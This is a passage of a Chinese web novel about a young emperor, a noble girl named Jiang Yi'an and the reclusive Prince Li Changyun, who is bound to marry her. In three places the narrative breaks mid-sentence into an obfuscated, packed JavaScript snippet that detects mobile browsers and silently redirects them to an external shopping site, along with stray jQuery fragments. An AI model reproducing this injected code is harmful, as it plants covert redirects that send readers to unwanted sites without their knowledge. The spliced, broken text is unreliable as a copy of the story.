姜奕安虽觉得不大可能,但也不能拂了小皇帝的好意,便笑嘻嘻地福身道:“那臣女先谢过陛下了。” 而李怀荆是真心觉得亏欠他的安姐姐。 他身边所有人,要么因惧怕太皇太后而惧怕自己,要么将他当孩子糊弄。 所有长辈都告诉他,他是帝王,要恩威并施,要端正肃穆。 只有安姐姐,会耐心听他说心里话,更会陪他踢蹴鞠、玩投壶。 但是他却没有办法改变皇祖母的决定,只能想法子补偿了。 不过,李怀荆也有着自己的思量,从内心深处,他是希望安姐姐成为宸王妃的,那样她就是九皇婶,是他真正的亲人了。 李怀荆想到了法子,偷偷笑了一下,耷拉着脑袋回到了龙案前,道:“九皇叔布置的功课真难,朕得好生琢磨一番才行。” 姜奕安思绪回笼,也知小皇帝学业才是大事,便道:“那等陛下做好了文章,臣女陪陛下玩蹴鞠如何?” 其实姜奕安蹴鞠玩得并不好,但是小皇帝最喜欢玩的,就是投壶和蹴鞠了。 李怀荆痛快应下,眸子都亮了几分。 此时陆鸣鹤抱着一摞字帖进殿行礼,李怀荆环顾四周,道:“朕这殿中除了书,便是字,安姐姐定会觉得无聊,如今御花园桃花开得正好,安姐姐不如先和鸣鹤兄去赏花,等朕这篇文章做完,就派人去寻你们,到时候咱们玩蹴鞠玩个尽兴。” 姜奕安和陆鸣鹤对视了一眼,都觉得有些奇怪。 李怀荆见二人未动,有些着急道:“朕须得一个人方能文思泉涌,你们在这里,朕做不出。” 李怀荆唤来崔悯,让他派几个宫人跟随,姜奕安二人见状,便行礼退下。 崔悯正欲退出,又被李怀荆叫住。 “莫急,朕有事要你去办……” …… 春日阳光正好,初阳乍暖,空气清新,再好的桃花姜奕安也没心思赏,脑海中总在回想方才小皇帝所说的话。 陆鸣鹤目光一直在姜奕安娇艳的脸上流连着,见她魂不守舍的,心里很不是滋味…… 他想起自己第一次听到这桩赐婚时,去请母亲进宫求太皇太后收回成命,并将姜奕安赐婚给他时,母亲神色严厉,面色微怒:“盛京城中哪家的闺秀你求娶不得,非要喜欢她?” “太皇太后金口玉言,绝不可违,你歇了那心思吧。” 陆鸣鹤再求,母亲却显示出前所未有的冷硬心肠,惹得陆鸣鹤颇为痛苦,直到他收到姜奕安的信,发觉她也在想法子拒了赐婚,顿时又生出些希望来…… 可是,看她如今这副样子,便知陛下这条路走不通了。 陆鸣鹤也不知如何安慰她,只能想法子哄她开心了,便让姜奕安坐在亭中,背靠满园桃花,自己给她作一幅画。 陆鸣鹤容貌俊美异常,一双上挑的丹凤眼波光潋滟,一身暗红织金袍子,立在亭中一手执笔作画,一手背在身后,若不是身材高大,倒容易让人以为是女子…… 姜奕安举着团扇,微微低垂着眸子,侧脸望向一边。 少女梳着单螺髻,浓密乌黑的发髻上只坠了一朵绢花,小脸只薄施粉黛便已颜色惊艳,尤其是那双眸子潋滟如含情春水,只看一眼便容易沉溺其中。 若是少女安静不语,那便是一副绝美的美人倚花图,只是姜奕安时不时动来动去,脸上有些不耐,过一会便问一句“还要多久”。 “你莫要乱动。”陆鸣鹤目光在姜奕安的脸和自己的画作之间流连,道,“再有半个时辰就差不多了。” “半个时辰!”姜奕安将扇子放下,直接站起身捶打着自己的腰,道,“怎么还要这么久,我腰都僵了。” 陆鸣鹤放下笔,起身上前摁住她的肩膀让她坐下,道:“就这么点小事都不愿帮我吗?你什么时候变得这么不讲义气了!” “我倒不是不讲义气……”姜奕安声音小了些,拿起团扇摆好姿势,又理了理衣裙,道,“全盛京那么多小娘子,也不一定非要画我啊。” 陆鸣鹤重新拿起笔,目光定在了自己画上姜奕安的眸子,勾唇笑着道:“这你就不懂了,只画精致美丽之物,无法凸显本画师高超的水平。” “你这是骂我长得不精致不美丽?” 姜奕安向来对自己的容貌很有自信,一听这话有些不乐意,忍不住双手叉腰,微微撅起了唇。 “唉,这个姿势好,保持别动。” 陆鸣鹤笑意更浓,在另一张裁得小些的宣纸上,寥寥几笔勾勒出了姜奕安现在的模样。 姜奕安举起扇子就要扔他。 “莫动气,你放心好了,我定给你画成盛京第一美人,到时候装裱好了送你府上,如何?” 姜奕安确实没有肖像画,听陆鸣鹤这般说也有些心动,便重新将扇子挡在身前,颇有些娇矜道:“那你可要署上食野居士的大名,不然我可不要。” “好好好。”陆鸣鹤应下,望着她灵动的眸子,在那张小小的画作上添上了几笔,趁众人不注意时,悄悄折叠塞进了衣袖,便拿起一只新画笔,开始给自己的大作上色。 自己与她相识十几年,青梅竹马、两小无猜的情谊,如今她就要嫁为人妇了,他无力改变,但也想送她些什么,让她莫要忘了自己才好。 日头渐升,姜奕安脸上起了一层薄汗,但比方才老实多了,只是拂冬拂春两个时不时来给她揩揩汗渍,再按摩一下腰身和胳膊。 “成了。” 陆鸣鹤收笔,姜奕安便迫不及待起身去看,只见那画上的女子团扇遮唇,眉目潋滟,身姿纤巧,如出尘仙子般被满园桃花包围,堪称“人面桃花相映红”。 姜奕安十分满意,抱起手臂点着头道:“不愧是大盛第一画师,竟能将我的美丽还原出八九分来。” 陆鸣鹤吩咐人将画具收好,一边卷画一边道:“姜奕安你还真不害臊呢,是我的画笔为你增色了好吧。” “看在你为我画像的份上,我就不跟你争了。”姜奕安拍了拍他的肩膀,道,“多谢你了!” 陆鸣鹤感觉被她拍的左肩有些酥麻,卷好了画作后,缓缓起身,用画卷敲了一下她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16659092|188352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的头,道:“我可等你的谢礼呢!” “你敢打我的头!”姜奕安追上他,高声道,“你一开始又没说谢礼的事!” 两个人绕着桃花小径,你一言我一语喋喋不休,还时不时追打着跑跳两步,惊鸟飞过,蝉鸣不止,寂静的御花园中只剩下少男少女的欢声笑语。 此时,陛下身边的宫人来报,请姜奕安二人去用午膳。 姜奕安确实是饿了,和陆鸣鹤暂时休战,一边往勤政殿去,一边兴致勃勃地讨论着宫中的吃食。 入了勤政殿后,李怀荆已做好了用膳的准备,二人也坐在两侧,在宫人的伺候下净了手。 李怀荆看起来没有方才那么兴奋了,反而有些兴致缺缺。 他方才让崔悯去请九皇叔了。 他想到,安姐姐和九皇叔好像还未见过面,这样怎能互相喜欢呢?不如自己制造一个偶遇,让他们多接触一下。 他以请教《贞观政要》为由,请九皇叔进宫,结果九皇叔正在道观闭门修行。 李怀荆知道九皇叔潜心修道,他便不再硬让传令之人打扰,只是九皇叔布置的功课也没做完…… 不过,一般而言九皇叔一修行,那第二日便不会进宫,那其实这份功课也不急,等明日再做也是一样的。 到时候再请安姐姐入宫,九皇叔和安姐姐不就能见上面了? 李怀荆又恢复了笑意。 平日里他总被教导食不言寝不语,但面对安姐姐,和这位意气相投的表兄,他便放下了这些规矩,一边用膳一边交谈说笑,比平日多用了好些。 姜奕安虽饿了,但总觉得宫中膳□□致有余、口味不足,虽都是些珍贵食材,但做出来的味道却很难让她说一句美味,因而只能多吃些精美糕点填肚子。 用膳过后,李怀荆迫不及待来到勤政殿后花园,怀中抱着蹴鞠,向立在一旁的崔悯招手,道,“不如崔监和安姐姐一队,朕和鸣鹤兄一队,这样公平些。” 崔悯是皇城之中有名的蹴鞠高手,当初就是凭着一手好蹴鞠,从一众小太监中脱颖而出。 陆鸣鹤也是蹴鞠好手,李怀荆年纪虽小,但是玩着蹴鞠长大的,自己有了崔悯相助,两队的水平算是持平。 崔悯面上不显,唇角依然是浅淡的笑意,恭敬道:“奴婢领旨。” 就这样,蹴鞠开赛。 陆鸣鹤和崔悯力量颇足、进攻迅猛,李怀荆反应极快、跑动灵敏,而姜奕安虽跑动速度慢些,但胜在人纤巧灵动,活像一只燕子在树林间飞舞,四人之间你来我往踢得好不热闹,成绩竟然难分伯仲。 宫人们起先还恭敬立在一旁,但很快便被这热火朝天的氛围感染,忍不住围成一圈开始观赛助威。 姜奕安的小脸上红霞飞舞、香汗淋漓,虽然很累,却十分快活舒心。 此时,陆鸣鹤那边将蹴鞠直直地踢来,而自己的队友崔悯正离得很远,姜奕安上前几步,一脚将蹴鞠踢了出去。 只见那蹴鞠从宫人之中飞穿过去,直直地打在了一个月白身影之上。 宫人们瞧见他的脸,登时噤若寒蝉,跪地行礼,李怀荆更是惊得瞪大了双眸,道:“九……九皇叔。” 姜奕安愣在那里许久。 万万没想到,自己和宸王不期而遇的第二次见面,又是这般尴尬的局面。 她把蹴鞠踢到人家身上了…… 她和他离得不近,却能清晰地感受到他浑身散发出的寒意…… 李长昀的目光从蹴鞠转向周围的宫人,掠过陆鸣鹤、崔悯,停留在姜奕安身上许久,眉心微蹙,又望向李怀荆,唇角扯出了笑意,见礼过后,道:“原来这就是陛下想请教的《贞观政要》。” 5. 第 5 章 勤政殿上,李怀荆紧绷着小脸,正在龙案前奋笔疾书。 而龙案两侧,摆放着两张小些的桌案,陆鸣鹤和姜奕安一人坐在一侧,也在提笔抄书。 李长昀罚他们每人抄十遍《贞观政要》的论任贤。 今日李长昀看起来倒是并未生气,只和颜悦色地向李怀荆行礼,道:“陛下既已玩了两个时辰的蹴鞠,想来功课已经做完,不知是否还有需要臣解惑之处?” 李怀荆结结巴巴道:“九皇叔……朕,朕还没做完……” 李长昀看起来仍不气恼,堪称好脾气的夫子,继续道:“既如此,不如陛下将论任贤一章抄上十遍,想来会颇有进益。” 然后,在场的宫人都被罚了俸,陆鸣鹤和姜奕安陪抄。 而李长昀此时正坐在桌案前全神贯注地读书,还时不时微蹙眉心,写上几笔,似是心无旁骛,沉浸在书海中。 姜奕安则是完全静不下心。 本身让她安安静静坐着就很难,还要抄书,简直是要了她的命。 其实她觉得玩个蹴鞠也没什么,小皇帝平日里要学那么些东西,今日放松一下也未尝不可。 但小皇帝看起来十分尊敬他的九皇叔,姜奕安一个外人不好说什么…… 姜奕安抄了一会就觉得无聊,只是殿中静悄悄的,她不好意思打扰正在奋笔疾书的小皇帝和陆鸣鹤,便抬眸看向李长昀,仔仔细细地打量他。 她在望月楼确实不应该唤他大叔的…… 李长昀虽然年长她十一岁,但也才二十七岁的年纪,眉眼柔和、面如冠玉,在盛京城,姜奕安找不出第二个像他这般俊朗貌美的男子。 他不会为了永葆容颜,对外说在修道,实则在用活人炼丹吧…… 姜奕安被自己的想法吓了一跳,将身子歪成了舒服的姿势,一手托着腮,一手用笔蘸着墨汁,一边望着李长昀,一边在想过会该用什么借口和他单独说两句话。 李长昀早就注意到了姜奕安的目光,只是并未在意,谁知她却看了这么久。 李长昀眉心微蹙,抬眸望向姜奕安,身子却一下未动。 四目相对之时,姜奕安一愣,感觉回到了念书时被夫子抓包的时候,急忙端正身子,继续装模作样地抄书。 只是端坐没多久,姜奕安感觉后背发僵,悄悄抬眸看向李长昀,见他复又沉浸在书本之中,便用手托住了腮,歪着身子斜坐着。 若是李怀茵见到她此时的姿势,定会说她像话本上插图里的蛇妖…… 因下晌时踢蹴鞠太累,那书中文字的催眠感又太强,强烈的困意袭来,姜奕安缓缓闭上眼睛,一开始只想着闭目养神一番,结果脑袋在胳膊上一点一点的,终于还是没撑住,直接歪在桌案上睡着了,去见了周公。 她捧着自己抄好的书去见李长昀,本想乖巧恭敬地奉上,谁知却见李长昀并未在桌案前读书,反而在躺椅上和衣而眠。 姜奕安凑近了,仔仔细细地瞧着他,见他这张白净的脸上不染纤尘、平静如水,便玩心顿起,拿起了笔墨,在他脸颊两侧分别画了三条胡须。 姜奕安端详着自己的画作,又凑近了一些,见他眉心之处似有淡淡的竖纹,便又在那处写了个“王”字。 姜奕安想哈哈大笑,但又怕将人吵醒,便捂着嘴偷笑着,放下了笔墨,轻手轻脚地准备偷偷离去。 谁知此时,便听到有人在唤她。 “二娘子,二娘子醒醒……” 姜奕安缓缓睁开眼睛,眼前是拂冬,只见她一脸焦急的样子,正在轻轻地晃着自己。 “怎么了?”姜奕安揉了揉眼睛,缓缓从桌案上直起身子,发现自己的另一只手拿着毛笔,那宣纸上满是混乱的墨迹,洇成了好几团,隐约还能辨认出,似是个“王”字…… 姜奕安愣了一瞬,猛地抬头,便见李长昀正在她的桌案前,负手而立,面上无甚表情,就那样望着她…… 姜奕安猛然起身退后几步,下意识便道:“我错了……” 李长昀缓缓上前几步,瞧了一眼桌案上的那些鬼画符,眉心拧起,背在身后的手紧紧捏了捏木戒,道:“抄了几遍了?” “抄到第三遍了……”姜奕安急忙将自己那张鬼画符团成团塞给了拂冬,又将抄好的那几张捧起来,小步跑到了李长昀面前,乖巧地双手递给他,道,“请您过目。” 清淡的桃花香气袭来,李长昀呼吸一滞,迟疑了一瞬,才伸手接过。 他手指很瘦很长,骨节分明,与宣纸摩擦发出沙沙的声响,只接住了宣纸的两角,并未与姜奕安触碰到。 这字不算多美观,但还算工整。 勉强能看。 “我写得可认真了呢!”姜奕安炫耀似的笑着,道,“平日里我写字都龙飞凤舞的,这可是我最工整好看的字了。” 她还挺骄傲…… 李长昀想起她方才在桌案前坐立不安、歪七扭八的样子,还趴在桌案上睡着了,不知在做什么梦,一边拿着毛笔画来画去,还偷偷地笑。 李长昀实在不知,她是怎么养成这样的…… 李长昀将纸折好放下,道:“继续吧,还剩八遍。” 姜奕安感觉心跳停了一拍,扭头看向身旁,却没见到小皇帝和陆鸣鹤的身影。 “陛下和陆鸣鹤已抄完去休息了,还请二娘子何时抄完,何时离宫吧。” 姜奕安惊讶地张大了嘴巴,结结巴巴道:“可是如今天色已晚……” 李长昀似是早已预料到了姜奕安的反应,十分平淡道:“二娘子细想,若本王就此轻轻放过二娘子,日后陛下若也在做功课时睡着,本王该如何?” 姜奕安环视了一下殿中,只见宫人都立在殿门口,殿中只有姜奕安、拂冬主仆二人,和李长昀及他主仆二人,再无旁人了。 姜奕安清了清嗓子,又往李长昀身边凑近了些,轻声道:“陛下的功课与朝政息息相关,但我一个小女子,无论抄多少遍书都对治国理政毫无助益。” 桃花的气息逼近了些,也浓烈了些,李长昀身形微顿,但仍未后退,只保持着惯常的平淡语气,道:“二娘子的意思是?” “殿中如今就我们四人,我抄多少遍书,其实也不会有外人知道。”姜奕安扭捏地笑了笑,晶亮的眸子望向李长昀,道,“所以,九皇叔说我抄了十遍,那就是十遍。” “可二娘子只抄了两遍。” 姜奕安眸子里的光黯淡了。 李长昀退后几步,道:“二娘子慢慢抄。”便转身欲走。 “王爷不留下来陪我吗?” 姜奕安声音清亮,李长昀脚步微顿,缓缓转头看向她。 姜奕安双手背在身后,看起来有些不好意思,道:“我怕自己再睡着了,今晚抄不完就回不了府……” “我答应过我姐姐,不能夜不归宿的,王爷若是在这里看着我,我肯定很快就抄完了,然后我回府找姐姐,你回去念经修行……” 姜奕安还在喋喋不休,陈述着他留在这里陪自己的好处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16659093|188352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 常人在李长昀面前是不敢如此多话的,李长昀感觉耳边嗡嗡的,疲惫地捏了捏眉心,十分罕见地出声打断,道:“本王在这里,你快抄吧。” 姜奕安得逞了,蹦蹦跳跳地跑回桌案前,一边道:“殿下放心,我肯定快快地抄、好好地抄,保证您满意。” 他可不能就这么走了,她还有话跟他说呢…… 夜色已至,宫人鱼贯而入添了烛火,姜奕安和李长昀一人一桌,身影在烛火之下交叠在一起。 姜奕安确实未再睡着,只是身子仍算不上端正,好在一个时辰后终于抄好了,姜奕安恭恭敬敬地呈上去,刚要出声,便见李长昀抬手打断了。 姜奕安将话咽回去,乖乖立在桌案前,手指在身前绞动着衣裙,小心地窥探着李长昀的神色。 原来在他这张光洁的脸上,眉心当真有淡淡的竖纹,在他皱眉时明显许多。 姜奕安心道,那看来他应该没有长生不老,也没用活人炼丹…… 李长昀瞧这字和方才并无二致,可见并未敷衍糊弄,只看了一页便将纸合上,道:“二娘子可以走了。” “王爷,你不送送我吗?” 李长昀抬眸看向姜奕安,姜奕安杏仁一样的眸子定定地望着他,似是真的在疑惑,自己为何不送她…… 拂冬在一旁想提醒姜奕安,诸葛让正在宫门口等着,但听姜奕安接着道:“现在这个时辰,外面已是伸手不见五指了,我有些怕黑,而且听说宫中冤魂甚多,我这样的柔弱女子,万一撞上……” “好了。” 李长昀闭了闭目,紧紧地捏了一下拇指上的木戒,缓缓起身,道:“春雷,安排宫人带路。” 山羊胡护卫唇角抽搐了一下,行礼退下。 姜奕安知道自己再一次得逞了,但面上不敢表现得太过兴奋,便乖乖退到一边,随着李长昀的步子走出了勤政殿。 姜奕安跟在李长昀身后,故意放慢了脚步,李长昀见她没有跟上,便只能随着她放缓了步子。 姜奕安见已与宫人拉开了距离,便小声开口,道:“那日在望月楼,我是醉酒了,才一不小心冒犯王爷的,请王爷别和我一般见识可好?” 李长昀听罢,步履不停,也并未言语。 他大她这么多年岁,自然不会同她计较,只是他觉得没必要再次提起。 姜奕安以为他还在计较,自觉软的不行,便来硬的:“我知道,王爷还把我在望月楼饮酒夜不归宿之事告诉了我姐姐,其实我们算是扯平了的。” 李长昀脚步一顿,转而看向她,轻轻扯动着唇角,道:“二娘子不妨有话直说。” 他实在没兴趣听这些废话…… 姜奕安扒拉着自己的手绢,实在不知道怎么委婉地说。 她向来是直性子,有话直说,从不拐弯…… 李长昀从来都是耐性极好的人,但见姜奕安这副吞吞吐吐的样子,却失了些耐心,只想快些将人送到宫门口,这样自己便能快些回去沐浴、晚课。 李长昀双手背在身后,继续往宫门口走,道:“若非重要之事,便不必说了,本王……” 他只迈出一步,便听身后的女子“哎”了一声,伸手抓住了他的衣袖。 他的衣袖宽大,女子的小手没什么气力,只扯住了衣袖的一角,但李长昀却并未继续前行,微蹙着眉转过头去,只见姜奕安抬头望向他,露出了方才问“不送她吗”时一样的神情,道: “王爷喜欢我吗?” 6. 第 6 章 十五的月夜,月光倾泻而下,洒在了朱红的宫墙之中,宫人手中的宫灯虽耀眼,却不及月光般温柔和暖,且离二人已很远了,将高大挺拔和娇小纤细的影子拉扯在了一起。 李长昀垂首望着眼前的少女,用那样真挚的神情望着他,问他这样的问题。 李长昀下意识后退了一步,紧蹙着眉心,别开了目光。 衣袖从姜奕安手心滑落, 他薄唇动了动,默念了几句《道德经》…… 李长昀知道,自己从未喜欢过任何女子,今后也不会。 情爱这事太过麻烦,一旦沾染很难甩脱…… 只是,与姜奕安这几番接触下来,李长昀也意识到她行事作风大胆,非寻常女子所及,不过她年纪尚轻,心思单纯,若自己直白地拒绝,岂非伤她太过。 那便是罪过了…… 二人僵持之际,时间仿佛冻结,姜奕安打量着李长昀,见他这般迟疑,便知他肯定是讨厌自己的,才会迫不及待远离自己。 姜奕安的观点被证实了,反而高兴起来,满意地抱起手臂,道:“王爷不必说,我也知道,肯定是不喜欢的,既然我和殿下彼此之间并无情意,何苦余生都要绑在一起,做一对怨侣呢?” 李长昀感觉被噎住了。 原来她是这个意思,竟难得有逻辑一回…… 李长昀松了一口气,迫不及待想要甩脱这个“包袱”,便转而快步向前,边走边道:“太皇太后做主,陛下赐婚,绝无更改可能。” 姜奕安追了上来,道:“那不试试怎么能行呢?一起想总能有法子的。” 男子身高腿长,步子也迈得急,并未迁就姜奕安,姜奕安见他不搭理自己,小跑了几步,伸开双臂挡在了他面前,一脸固执地抬头望着他。 李长昀往右边迈步,姜奕安便随着挪过去,他往左边迈步,她又跟过去。 小女郎身子单薄轻盈,跑来跑去像只燕子,李长昀宽厚挺拔,却在她一来二去的阻挡下有些无计可施。 李长昀垂眸望着姜奕安那副神情,大有他不给个说法便誓不罢休的架势,感觉额前一阵痛意袭来,忍不住疲惫地捏了捏眉心。 若是成婚之后,她还这般聒噪爱玩,那自己不得被她烦死? 李长昀环顾四周,见四周寂静无声,举灯的宫人离得颇远,便叹息了一声,微微低下头,凑近了姜奕安的耳边。 凛冽的青松气息扑面而来,如腊月冰封时节般寒冷,那股檀香味道似是比望月楼那夜淡了些。 姜奕安没想到他会突然靠近,那股气息扑在耳朵上有些发痒,急忙往后退,却一时不防绊了一下,又被李长昀托住了她的一只胳膊,免得她摔倒。 拇指上的木戒硌得姜奕安有些疼。 姜奕安下意识将胳膊往回抽,李长昀却用力更甚,又凑近了些,轻声道:“后日午初,春深书肆等我。” 姜奕安睁大了眸子望向他,紧张地吞咽了一下,结结巴巴道:“你……你想做什么。” “一起想法子。” 李长昀直起身子,缓缓松开托着姜奕安手臂的那只手,脸上神情十分平淡。 拂冬在一旁看得十分紧张,见李长昀松开了姜奕安,便上前扶住了自家主子的另一只胳膊。 李长昀迈步向前,发觉姜奕安并未跟上,回首望向她,微微抬了抬眉,道:“不是要本王送你出宫吗吗?” 姜奕安樱唇张了张,一边挪着步子远离李长昀一边道:“不劳王爷费心了,我……我自己出宫就好。” 李长昀看着姜奕安的脚步在自己身前画出的弧度,和落荒而逃的身影,唇角抽动了一下。 姜奕安一路小跑到了宫门口,还时不时偷偷回头瞧瞧,见李长昀并未跟上来,终于松了口气。 姜奕安刚一走出宫门,拂春便上前将披风给她围上了,道:“二娘子终于出来了,身子可有什么不适?” 姜奕安摇了摇头,只想快些离开这个是非之地。 “二娘子快些回府吧,莫让嫂嫂忧心。”诸葛让立在仁国公府的马车旁,向姜奕安招了招手,道,“我亲自送你回去。” 姜奕安快步上前行礼,抿唇笑道:“多谢大统领,今日太过麻烦了,还是不……” 诸葛让还想坚持,拂春在一旁小声道:“夜已深了,这个时辰我们夫人是不便出府的,若大统领亲送二娘子,只怕仁国公府会失礼。” 诸葛让愣了一瞬,便未再坚持,只是看起来有些失望,道:“是我考虑不周了。” 姜奕安向他行了福礼,再三谢过后,踩着马凳上了马车,跟诸葛让隔着窗道了别。 诸葛让目送着姜奕安的马车离去,便转身向宫内走去,正巧与出宫的李长昀打了个照面。 李长昀看起来毫不意外,十分平静地迈步向前,诸葛让脸上也无甚表情,只行礼道:“见过殿下。” 李长昀微微颔首,越过诸葛让,掀起了一阵檀香气息,诸葛让抿了抿唇,终是忍不住回头道:“殿下当真要接受赐婚,娶姜二娘子?” 李长昀脚步顿住,自嘲般地笑了笑,回头道:“你们怎么都觉得,本王本事大到能更改圣旨?” 诸葛让双拳在身侧攥紧,道:“你我相识多年,我从未求过你,只这一次,我嫂嫂将她看得如眼珠子一般,好好待她,成吗?” 李长昀却并未应下,只道:“恕我直言,你该忧心的,不是我待她不好,而是她终有一日,会毁在你姑母手中。” 李长昀不待诸葛让回答,便将双手背在身后,向马车前走去,诸葛让仍不死心,又道:“那你呢?你会让这一日到来吗?” 李长昀脚步微顿,长睫在眼下的阴影似是更浓重了些,遮住了目光中所有的情绪,嘴唇动了动,侧首道:“这话你不该问我……” 马车旁十五六岁的少年上前行礼道:“殿下,是出城回道观吗?” 李长昀步履不停,并未回头再看诸葛让,直接攀上了马车,道:“回宸王府。” 偌大的宫城门口,诸葛让立在那里,明明是夏夜,却感觉遍体生寒,忍不住打了个寒战。 …… 月明星稀、光亮柔和,李长昀步入空旷昏暗的府邸,也无需人掌灯,便直直走向自己的听松院。 几颗青松立在偌大的院墙边上,如同黑夜之中的鬼魅,虽沉默不语,但张牙舞爪,拼命想要阻止月光的渗透。 李长昀隐入了青松的阴影之下,回头道:“春雷,夏原,你们去歇息吧,不必伺候了。” 山羊胡和少年同时应下,李长昀独自迈入湢室,褪下衣衫,待坐进浴桶之后,这才长舒了一口气。 两侧太阳穴的痛感逐渐剧烈,李长昀忍不住蹙紧了眉头,缓缓闭上了双目。 眼前却是昏暗的牢狱,一缕斜阳透过窗台打在眼前满头银发的长者身上,只见他一身囚衣却仪容整洁,跪坐着面对李长昀,饮下了一杯酒,含笑望着他,接着便鲜血喷涌而出,倒地不起……< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16659094|188352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 李长昀感觉头骨像要裂开一般,忍不住伸手敲打,想逼退那股磨人的痛意。 却猛然间惊醒。 眼前昏暗的室内水汽朦胧,正是听松院的湢室。 李长昀这才意识到,自己方才入梦,又回到了九年前…… “殿下,水凉了,要添些吗?” 李长昀回头,强忍着头痛,唇角扯出了淡淡的笑意,摇了摇头道:“张叔怎么亲自来伺候,快回去歇着吧。” 李长昀起身擦净了身子,松垮地披着寝衣,一头墨发在身后拢起,还有一缕在脸侧垂着,坐在屏风后的蒲团之上盘坐,准备在睡前做一遍晚课。 张瞻却并未离去,举着烛火上前,手中还握着一把木梳,道:“殿下,老奴给您篦一篦发吧。” 李长昀本想拒绝,但见张瞻脸上期待的神情,便说不出口了。 他毕竟是外祖家的人,也是陪伴他长大的长辈…… 李长昀唇角笑意柔和,道:“那就有劳张叔了。” 偌大的房中各处都很昏暗,唯独屏风后的那一方小天地烛火光亮旺盛,年轻男子闭目诵经,一头银发的长者在一旁替他篦着头发,静得只能听见灯花爆的声响。 张瞻那双苍老的大手,掠过李长昀的发丝,满意地点着头,只是他昏花的双眸,已瞧不见其中掺杂的点点银丝。 李长昀缓缓睁开双眸,只觉得诵过经、篦过头后,头痛果然缓解了许多,起身过后又扶起张瞻,道:“多谢张叔,夜深了快些去睡吧。” 张瞻脸上笑意温暖,将梳篦装盒,端端正正地摆好,似是自言自语道:“等王府迎来了女主子,想来老奴就不必亲自给殿下篦头了……” 李长昀并未出声,只定定地望着张瞻略显佝偻的背影。 张瞻脸上笑意温暖,道:“殿下,老奴不知新王妃的喜好,该如何准备着呢?” 李长昀脑海中浮现出几次与少女相见的情景。 他见过醉酒的她、玩蹴鞠的她、抄书睡着的她、喋喋不休的她…… 李长昀感觉头更痛了些,捏了捏拇指的木戒,道:“不必准备,总归我在道观歇息更多,就将这听松院留给她吧。” 为了能安稳清修,还是要做些必要的让步的,总归这宸王的位置,也不长久…… 张瞻脸上的笑意有些凝固,喃喃道:“殿下……” 李长昀并未给张瞻劝说的机会,只道:“一应婚事议程皆由礼部负责,张叔不必太过操心,只在府中享清福便是。” 张瞻还要再说什么,李长昀却推说自己困了,不愿多说,只让张瞻快些回去歇息,自己往内室走去。 李长昀在榻上躺下,听到关门的声响,便知张瞻已经离去了,这才熄了烛火,将整个人隐在了黑暗之中。 头痛似是卷土重来,李长昀闭目,像往常一般,默念着《道德经》,渐渐的,分不清自己身在听松院的床榻,还是清平宫的牢狱。 四面是密不透风的铜墙铁壁,他将脸贴在上面,感受到刺骨的冰冷与寒意,如青玉般手指刮过缝隙,想要给自己掀出一条生路,却只是徒劳…… 刹那间,墙角处打开了那扇小门,一束明亮的日光渐渐爬进来,一只燕子停在了那处,展翅飞进这牢笼,在他的头顶盘旋着。 李长昀抬头望去,目光追随着那只燕子远去,忽而发现自己已不在困了自己六年的牢笼中,反而身在听松院。 那只燕子,停留在了院中的青松之上…… 7. 第 7 章 寿康宫外,李怀荆一身明黄龙袍,下了软轿便迫不及待跑进殿中,高声喊道“祖母”。 太皇太后笑着起身,将小孙子抱了个满怀。 太皇太后如今五十几岁的年纪,面若银盘、雍容异常,乌黑浓密的发髻间簪满了金灿灿的凤钗,一身青黛锦缎袍上用金线绣着凤穿牡丹的花样,此时她正一脸慈爱地拍了拍李怀荆的脸颊,道:“皇儿饿了吧,快些用早膳。” 李怀荆拽着太皇太后的衣袖,道:“皇祖母也坐。” 祖孙俩在桌边坐定,一旁立着的是面白无须、一头灰发的司礼监掌印太监汪展,亲自伺候太皇太后净手。 太皇太后笑容中透着满意,崔悯正准备给二位主子盛银耳桂花粥,却被汪展抢了先。 崔悯见状,恭敬后退一步,汪展将粥盛好,李怀荆见状笑了笑,道:“汪公公,日后这些小事不必亲自伺候了,崔公公办事周到,交给他就好。” 汪展笑得眼睛眯成了一条缝,道,“崔悯还算得力的,蒙陛下看中贴身伺候着,奴婢虽然放心,但终归不如自己伺候着,心里舒坦。” “日后朕身边有崔公公,你不必过多费心。”李怀荆转而看向太皇太后,道,“皇祖母在朕心中是最重要的,你将皇祖母伺候好,朕才能舒心。” 汪展笑着应是。 太皇太后抿唇笑着,手中的勺子搅拌着银耳莲子粥,状若无意开口道:“哀家听说,昨夜老九罚皇儿抄书了?” “孙儿没有完成九皇叔布置的功课,九皇叔才罚孙儿的。”李怀荆睁大了眸子,轻声道:“皇祖母是生气了吗?” “皇祖母没生气,快用膳吧。” 